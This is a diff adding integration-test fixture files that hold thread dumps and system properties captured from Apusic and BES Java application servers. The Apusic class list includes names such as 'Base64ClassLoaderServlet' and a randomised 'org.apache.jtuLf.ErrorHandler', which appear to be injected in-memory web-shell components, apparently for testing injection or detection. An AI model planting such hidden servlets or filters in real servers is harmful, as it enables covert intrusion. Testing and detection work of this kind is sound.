java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@45e4b57a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.alibaba.druid.pool.DruidDataSource$CreateConnectionThread +com.alibaba.druid.pool.DruidDataSource$DestroyConnectionThread +com.apusic.aasadmin.core.server.aasengine.datasource.SQLStaticListener$JDBCNotificationSender +com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive +com.apusic.deploy.runtime.AutoDeployer +com.apusic.jdbc.trace.JDBCNotificationSender +com.apusic.logging.ConsoleHandler +com.apusic.logging.ConsoleHandler$1 +com.apusic.logging.manager.ServerLogManager$PushThread +com.apusic.mq.dispatch.DispatchList +com.apusic.mq.dispatch.DispatchList$1 +com.apusic.mq.dispatch.WaitForALLAvailable +com.apusic.mq.queue.LocalQueue +com.apusic.mq.queue.LocalQueue$SelfActivation +com.apusic.mq.transport.ReaderThread +com.apusic.mq.util.DedicatedTaskRunner +com.apusic.mq.util.DedicatedTaskRunner$1 +com.apusic.net.NonBlockingListenerThread +com.apusic.net.ReaderThread$SubSelector +com.apusic.server.Config$TimerThreadFactory$1 +com.apusic.server.J2EEServer +com.apusic.server.Main +com.apusic.web.container.FilterChainImpl +com.apusic.web.container.FilterComponent +com.apusic.web.container.ServletComponent +com.apusic.web.container.ServletFilterWrapper +com.apusic.web.container.WebContainer +com.apusic.web.http.ConnectionHandler +com.apusic.web.http.HttpConnectionHandler +com.apusic.web.http.HttpReactorManager$Reactor +com.apusic.web.http.HttpServer +com.apusic.web.http.VirtualHost +com.apusic.web.session.DefaultSessionManager$HouseKeeper +org.apache.jtuLf.ErrorHandler +org.h2.mvstore.MVStore$BackgroundWriterThread diff --git a/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt new file mode 100644 index 00000000..337a2396 --- /dev/null +++ b/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt @@ -0,0 +1,595 @@ +# Generated At 2025-08-10 14:56:17 +SystemProps: +bes.loader: bes-system +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +catalina.base: /opt/bes +javax.net.ssl.trustStorePassword: changeit +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory +bes.home: /opt/bes +catalina.useNaming: true +os.name: Linux +sun.boot.class.path: /opt/bes/lib/endorsed/javaee-api-endorsed.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_342-b07 +xxx: xxx +javax.net.ssl.keyStore: /opt/bes/conf/security/keystore.jks +user.name: root +tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +shared.loader: "${catalina.base}/lib/shared/classes","${catalina.base}/lib/shared/*.jar" +tomcat.util.buf.StringCache.byte.enabled: true +com.bes.hostName: 21437a35c6d3 +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +user.language: en +derby.system.home: /opt/bes/conf +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +com.bes.enterprise.log.outAndErrNotRedirect: true +java.version: 1.8.0_342 +java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +sun.arch.data.model: 64 +com.bes.installRoot: /opt/bes +java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory +java.endorsed.dirs: /opt/bes/lib/endorsed +java.rmi.server.randomIDs: true +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +bes.base: /opt/bes +package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat. +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +java.home: /usr/local/openjdk-8/jre +java.vm.info: mixed mode +com.bes.instanceName: server +com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +path.separator: : +java.vm.version: 25.342-b07 +com.bes.verboseMode: true +bval.in-container: true +com.bes.enterprise.deployments.classpath.filter.systemapps: false +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /opt/bes/conf/security/server.policy +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat. +java.naming.factory.url.pkgs: org.apache.naming:com.bes.enterprise.ejb.core.ivm.naming +user.home: /root +java.specification.vendor: Oracle Corporation +tomcat.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,derbyclient,bes-ejb-glue,org.apache.wss4j.wss4j-bindings,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,bes-server-webservices,bes-ee-webapp,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,org.apache.wss4j.wss4j-policy,org.apache.commons.commons-codec,org.apache.cxf.cxf-rt-rs-client,bes-ee-loader,bes-webtier-jdbc,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.cxf.cxf-rt-rs-service-description,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,org.apache.wss4j.wss4j-ws-security-dom,bes-server-internal,bes-logger,org.apache.cxf.cxf-rt-bindings-soap,org.apache.wss4j.bes-wss4j-ws-security-policy-stax,org.apache.cxf.cxf-rt-security,bes-webtier-util,org.apache.cxf.cxf-rt-databinding-jaxb,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-server-cxf-transport,bes-engine,bootstrap,org.apache.cxf.cxf-rt-transports-http,bes-patch,org.apache.cxf.cxf-rt-frontend-jaxrs,org.apache.bval-core,bes-ee-jdbc-connector,bes-distributed-session,bes-ee-webservices-connector,bes-launcher,bes-server-api,org.apache.cxf.cxf-rt-security-saml,bes-ee-jaxrs-connector,org.apache.cxf.cxf-rt-ws-policy,org.apache.bval-jsr,bes-server-jee-accessors,bes-server-hsql,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.apache.ws.xmlschema.xmlschema-core,org.objectweb.howl.howl,org.apache.cxf.cxf-rt-rs-extension,bes-server-cxf-rs,bes-webtier-servlet-api,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.cxf.cxf-rt-bindings-xml,org.apache.geronimo.specs.geronimo-osgi-locator,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,org.apache.commons.commons-pool2,org.apache.geronimo.components.geronimo-transaction,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,org.apache.cxf.cxf-rt-ws-security,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,org.slf4j.slf4j-api,org.apache.santuario.xmlsec,org.apache.neethi.neethi,derby,org.apache.cxf.cxf-core,bes-ee-catalina-integration,bes-server-ejbd,bes-deployment-common,bes-config-parser,org.metatype.sxc.sxc-runtime,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,bes-jmx-remote,bes-cli-command,bes-command-api,org.eclipse.jdt.ecj,bes-server-core,bes-api,activation,com.ibm.wsdl4j.wsdl4j,org.apache.openwebbeans.openwebbeans-el22,org.apache.cxf.cxf-rt-wsdl,org.apache.xml-resolver,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,org.apache.openwebbeans.openwebbeans-impl,org.apache.cxf.cxf-rt-frontend-jaxws,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.cxf.cxf-rt-management,org.apache.openwebbeans.openwebbeans-spi,org.apache.wss4j.wss4j-ws-security-stax,bes-ee-mojarra-connector,bes-server-cxf,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.cxf.cxf-rt-frontend-simple,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,bes-webtier-dbcp,bes-webtier-i18n-es,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,bes-webtier-el-api,bes-server-jee,org.apache.cxf.cxf-rt-rs-security,org.apache.cxf.cxf-rt-ws-addr,mbean-annotation-api,org.apache.wss4j.wss4j-ws-security-common,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket,org.apache.cxf.cxf-rt-rs-json-basic +java.library.path: /opt/bes/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +com.bes.enterprise.deployments.classpath: false +java.vm.vendor: Oracle Corporation +common.loader: "${catalina.base}/lib/*.jar","${catalina.base}/lib/3rd/*.jar","${catalina.home}/lib/*.jar","${catalina.home}/modules/db/lib/derby.jar","${catalina.home}/modules/db/lib/derbyclient.jar" +com.bes.enterprise.startup.ExitOnInitFailure: true +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false -instancename server start +java.class.path: /opt/bes/lib/bootstrap.jar:/opt/bes/lib/bes-logger.jar:/opt/bes/lib/bes-config-parser.jar:/opt/bes/lib/bes-config-serverbeans.jar:/opt/bes/lib/bes-patch.jar:/opt/bes/lib/bes-license.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar +com.bes.instanceRoot: /opt/bes +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +catalina.home: /opt/bes +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /tmp +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +server.loader: +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +com.bes.webbeans.logger.WebBeansLoggerFacade: com.bes.enterprise.ejb.cdi.logging.ContainerJULLoggerFactory +bes.version: 9.5.1 +com.bes.enterprise.embedder.source: ServerListener +java.ext.dirs: /usr/local/openjdk-8/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/opt/bes/lib/ext +user.dir: /opt/bes/conf +com.bes.enterprise.log.async.logger: true +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.bes.enterprise.provider.default: com.bes.enterprise +file.encoding: UTF-8 +ANTLR_USE_DIRECT_CLASS_LOADING: true +com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory +com.bes.javaRoot: /usr/local/openjdk-8 +java.specification.version: 1.8 +javax.net.ssl.trustStore: /opt/bes/conf/security/cacerts.jks +javax.net.ssl.keyStorePassword: changeit + +=========================================== + +ThreadStacks: +"http-nio-0.0.0.0-6900-AsyncTimeout" #69 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[192.168.215.4:6600]" #84 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@74891c03 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #87 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-6600" #79 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@70b6864a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"http-nio-0.0.0.0-6900-ClientPoller-0" #67 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801) + at java.lang.Thread.run(Thread.java:750) + +"RetryTimer" #51 daemon [WAITING] on java.util.TaskQueue@35b41638 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #75 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) + +"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389e1a89 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@44b609d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"RMI TCP Connection(2)-192.168.215.4" #85 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-thread-pool-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #77 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool-1" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-1" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) + +"http-thread-pool-5" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"admin-thread-pool-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool-2" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d99fb1f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@42893fb9 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:460) + at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150) + at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43) + at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56) + at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159) + at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-thread-pool-6" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"com.bes.appserv-startStop-1" #53 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b8f5a12 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #83 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@51d5d045 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-192.168.215.4" #82 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at 